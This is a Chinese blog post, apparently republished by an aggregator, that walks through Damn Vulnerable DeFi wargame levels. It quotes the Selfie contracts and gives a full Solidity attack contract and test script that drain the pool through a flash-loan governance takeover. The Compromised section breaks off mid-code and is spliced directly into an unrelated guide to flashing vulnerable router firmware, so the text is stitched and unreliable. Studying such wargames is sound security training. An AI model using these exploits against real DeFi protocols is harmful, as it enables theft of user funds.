Damn Vulnerable DeFi靶场实战(6-10)
Posted luc1fer丶
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Damn Vulnerable DeFi靶场实战(6-10)相关的知识,希望对你有一定的参考价值。
题目预览
Selfie
分析
题目要求:
A new cool lending pool has launched! It’s now offering flash loans of
DVT tokens.Wow, and it even includes a really fancy governance mechanism to
control it.What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million.
Your objective: take them all.
大意是有一个提供DVT代币的闪电贷,池中有一百五十万个DVT,而我们一无所有,但我们需要拿走全部的DVT.
题目给了两个合约,一个是闪电贷合约,另一个是闪电贷的治理合约
闪电贷合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";
/**
* @title SelfiePool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SelfiePool is ReentrancyGuard
using Address for address;
ERC20Snapshot public token;
SimpleGovernance public governance;
event FundsDrained(address indexed receiver, uint256 amount);
modifier onlyGovernance()
require(msg.sender == address(governance), "Only governance can execute this action");
_;
constructor(address tokenAddress, address governanceAddress)
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
function flashLoan(uint256 borrowAmount) external nonReentrant
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
token.transfer(msg.sender, borrowAmount);
require(msg.sender.isContract(), "Sender must be a deployed contract");
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
function drainAllFunds(address receiver) external onlyGovernance
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
这个合约只有两个函数,一个函数用来进行闪电贷,在其中触发我们的receiveTokens函数,另一个函数只有治理合约能够调用,用来向其他合约转钱。
治理合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title SimpleGovernance
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SimpleGovernance
using Address for address;
struct GovernanceAction
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
DamnValuableTokenSnapshot public governanceToken;
mapping(uint256 => GovernanceAction) public actions;
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;
event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);
constructor(address governanceTokenAddress)
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256)
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;
actionCounter++;
emit ActionQueued(actionId, msg.sender);
return actionId;
function executeAction(uint256 actionId) external payable
require(_canBeExecuted(actionId), "Cannot execute this action");
GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
emit ActionExecuted(actionId, msg.sender);
function getActionDelay() public view returns (uint256)
return ACTION_DELAY_IN_SECONDS;
/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool)
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
function _hasEnoughVotes(address account) private view returns (bool)
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
这个合约有两个函数,第一个函数的意思是,当你拥有了矿池中半数以上的DVT代币后,你就能够通过这个合约执行一次调用操作,queueAction函数会验证你是否拥有足够的token,如果有则将你想要执行的调用存入链上,在两天之后输入你的id即可在executeAction中执行该调用。
很明显,我们需要存入并且执行调用,我们可以在executeAction函数中去执行闪电贷合约中的drainAllFunds函数,这样即可绕开onlyGovernance的限定,将闪电贷合约中的token全部发送给我们,掏空该合约。
攻击
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SelfiePool.sol";
import "./SimpleGovernance.sol";
contract selfieAttack
using Address for address;
SelfiePool public pool;
SimpleGovernance governance;
DamnValuableTokenSnapshot token;
bytes data;
uint256 acountID;
constructor(address _pool,address _governance,address attacker,address _token)
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
token = DamnValuableTokenSnapshot(_token);
function loan(uint256 amount,bytes memory _data)public payable
data = _data;
pool.flashLoan(amount);
function receiveTokens(address _token,uint256 amount)public
token.snapshot();
acountID = governance.queueAction(address(pool),data,0);
token.transfer(msg.sender,amount);
function complete()public
governance.executeAction(acountID);
token.transfer(msg.sender,token.balanceOf(address(this)));
fallback()external payable
攻击原理很简单,先闪电贷借出全部的token,然后再receiveTokens函数中调用queueAction函数,将构造好的data和闪电贷合约地址传入,然后将钱返还给闪电贷合约。最后调用complete函数,执行executeAction函数,将钱转入我们的账户。
js攻击合约:
it('Exploit', async function ()
/** CODE YOUR EXPLOIT HERE */
const data = web3.eth.abi.encodeFunctionCall(
name:'drainAllFunds',
type:'function',
inputs:[
type:'address',
name:'receiver'
]
,[attacker.address]);
const SelfieAttackFactory = await ethers.getContractFactory("selfieAttack",attacker);
this.attack =await SelfieAttackFactory.deploy(this.pool.address,this.governance.address,attacker.address,this.token.address);
await this.attack.connect(attacker).loan(TOKENS_IN_POOL,data);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await this.attack.connect(attacker).complete();
);
首先构造data,调用loan函数后,在区块上渡过两天的时间,即可调用complete函数完成攻击。
执行脚本完成攻击。
Compromised
分析
题目要求:
While poking around a web service of one of the most popular DeFi
projects in the space, you get a somewhat strange response from their
server. This is a snippet:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
A related on-chain exchange is selling (absurdly overpriced)
collectibles called “DVNFT”, now at 999 ETH eachThis price is fetched from an on-chain oracle, and is based on three
trusted reporters:
0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15
and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.Starting with only 0.1 ETH in balance, you must steal all ETH
available in the exchange.
大意是有一个交易所在售卖一种非常昂贵的代币DVNFT,每个价值999ETH,要我们以0.1ETH的余额来拿走交易所中全部的ETH
预言机合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
/**
* @title TrustfulOracle
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice A price oracle with a number of trusted sources that individually report prices for symbols.
* The oracle's price for a given symbol is the median price of the symbol over all sources.
*/
contract TrustfulOracle is AccessControlEnumerable
bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");
// Source address => (symbol => price)
mapping(address => mapping (string => uint256)) private pricesBySource;
modifier onlyTrustedSource()
require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));
_;
modifier onlyInitializer()
require(hasRole(INITIALIZER_ROLE, msg.sender));
_;
event UpdatedPrice(
address indexed source,
string indexed symbol,
uint256 oldPrice,
uint256 newPrice
);
constructor(address[] memory sources, bool enableInitialization)
require(sources.length > 0);
for(uint256 i = 0; i < sources.length; i++)
_setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
if (enableInitialization)
_setupRole(INITIALIZER_ROLE, msg.sender);
// A handy utility allowing the deployer to setup initial prices (only once)
function setupInitialPrices(
address[] memory sources,
string[] memory symbols,
uint256[] memory prices
)
public
onlyInitializer
// Only allow one (symbol, price) per source
require(sources.length == symbols.length && symbols.length == prices.length);
for(uint256 i = 0; i < sources.length; i++)
_setPrice(sources[i], symbols[i], prices[i]);
renounceRole(INITIALIZER_ROLE, msg.sender);
function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource
_setPrice(msg.sender, symbol, newPrice);
function getMedianPrice(string calldata symbol) external view returns (uint256)
return _computeMedianPrice(symbol);
function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory)
uint256 numberOfSources = getNumberOfSources();
uint256[] memory prices = new uint256[](numberOfSources);
for (uint256 i = 0; i < numberOfSources; i++)
address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
prices[i] = getPriceBySource(symbol, source);
return prices;
function getPriceBySource(string memory symbol, address source) public view returns (uint256)
return pricesBySource[source][symbol];
function getNumberOfSources() public view returns (uint256)
return getRoleMemberCount(TRUSTED_SOURCE_ROLE);
function _setPrice(address source, string memory symbol, uint256 newPrice) private
uint256 oldPrice = pricesBySource[source][symbol];
pricesBySource[source][symbol] = newPrice;
emit UpdatedPrice(source, symbol, oldPrice, newPrice);
function _computeMedianPrice(string memory symbol) private view returns (uint256)
uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));
// calculate median price
if (prices.length % 2 == 0)
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
else
return prices[prices.length / 2];
function _sort(uint256[] memory arrayOfNumbers) private pure returns (uint256[] memory)
for (uint256 i = 0; i < arrayOfNumbers.length; i++)
for (uint256 j = i + 1; j < arrayOfNumbers.length; j++)
if (arrayOfNumbers[i] > arrayOfNumbers[j])
uint256 tmp = arrayOfNumbers[i];
arrayOfNumbers[i] = arrayOfNumbers[j];
arrayOfNumbers[j] = tmp;
return arrayOfNumbers;
这个合约提供了与链上交易所进行交互的函数,包括根据不同的方式得到不同的价格,以及初始化价格等函数。
交易所合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./TrustfulOracle.sol";
import "../DamnValuableNFT.sol";
/**
* @title Exchange
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract Exchange is ReentrancyGuard
using Address for address payable;
DamnValuableNFT public immutable token;
TrustfulOracle public immutable oracle;
event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
event TokenSold(address indexed seller, uint256 tokenId, uint256 price);
constructor(address oracleAddress) payable
token = new DamnValuableNFT();
oracle = TrustfulOracle(oracleAddress);
function buyOne() external payable nonReentrant returns (uint256)
uint256 amountPaidInWei = msg.value;
require(amountPaidInWei > 0, "Amount paid must be greater than zero");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol()DVRF:路由器漏洞练习靶机 Damn Vulnerable Router Firmware
0×01 概述
这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘。
目前为止,该项目是基于Linksys E1550 为基础进行安装。
0×02 安装
友情提示,安装前请先备份路由器固件,以备不时之需。
1、使用管理员帐户密码登录E1550
2、访问固件更新页面,http://192.168.1.1/Upgrade.asp
3、上传Damn Vulnerable Router Firmware (DVRF) v0.1 固件DVRF_v01.bin
4、点击更新固件,然后等待重启路由器,重启完成后即安装完成。
0×03 移除或重置
有时候由于DVRF固件bug,需要移除安装好的DVRF固件或对该固件进行重置。
移除 :
1、进入DVRF的主页http://192.168.1.1/index.asp
2、点击Browse按钮,将备份的路由器固件进行导入,完成后重启路由器即可。
重置:
1、进入DVRF的主页http://192.168.1.1/index.asp
2、点击Browse按钮,将新版的DVRF固件上传后更新重启即可。
*项目地址:https://github.com/praetorian-inc/DVRF
以上是关于Damn Vulnerable DeFi靶场实战(6-10)的主要内容,如果未能解决你的问题,请参考以下文章
Security ❀ Damn Vulnerable Web Application(DVWA)自研文档梳理
Security ❀ Damn Vulnerable Web Application(DVWA)自研文档梳理
Security ❀ 安装部署Damn Vulnerable Web Application(DVWA)